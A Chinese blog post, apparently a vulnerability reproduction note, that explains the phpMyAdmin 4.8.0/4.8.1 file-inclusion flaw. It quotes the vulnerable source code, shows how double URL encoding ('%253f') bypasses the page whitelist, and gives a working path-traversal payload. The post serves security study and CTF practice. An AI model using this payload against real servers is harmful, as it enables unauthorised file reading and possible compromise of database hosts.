phpmyadmin4.8.1远程文件包含漏洞复现

phpmyadmin4.8.1下载地址:传送门
下载完成以后进行安装
在这里插入图片描述
漏洞影响范围:
4.8.0&4.8.1
漏洞成因:
phpmyadmin/index.php
55-63行
在这里插入图片描述

if (! empty($_REQUEST['target'])
//target不能为空
    && is_string($_REQUEST['target'])
    //target需要为字符串
    && ! preg_match('/^index/', $_REQUEST['target'])
    //target不能以index开头
    && ! in_array($_REQUEST['target'], $target_blacklist)
    //target不能出现在$target_blacklist中
    /*
    $target_blacklist = array(
    		'import.php' , 'export.php'
    	)
    	// target != 'import.php' != 'export.php'
  */
    && Core::checkPageValidity($_REQUEST['target'])
    //core类的checkpagevalidity方法
) {
    include $_REQUEST['target'];
    //这一行说明可能存在文件包含漏洞
    exit;
}

需要绕过限制:
target为字符串,且不能以index开头,而且不出现在target_blacklist中(!=import.php !=export.php)
调用checkPageValidity函数且结果为真
checkPageValidity位于/libraries/classes/Core.php中的443行,内容如下
在这里插入图片描述
在这里插入图片描述

  public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

  $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

该段代码主要是进行了二次URL解码

这里考虑到了URL二次编码和参数存在的情况! 例如传入:
?target=db_datadict.php%253f
服务器在接收到URL请求连接后就会自动对URL进行一次解码为:
?target=db_datadict.php%3f
在遇到 $_page =urldecode($page);
二次解码后为:
?target=db_datadict.php?这样就符合白名单的要求“
?符号前的文件名在白名单序列中”

利用二次编码“%253f”可以绕过checkPageValidity()的检查
由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码:

?target=db_datadict.php%3f

由此就造成了文件包含漏洞
漏洞复现
任意文件包含:

?target=db_sql.php%253f/../../../../../../windows/wininit.ini

buuctf的一道web题:
[GWCTF 2019]我有一个数据库
https://blog.youkuaiyun.com/weixin_43152809/article/details/111772644

参考链接:
https://cloud.tencent.com/developer/article/1746774

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值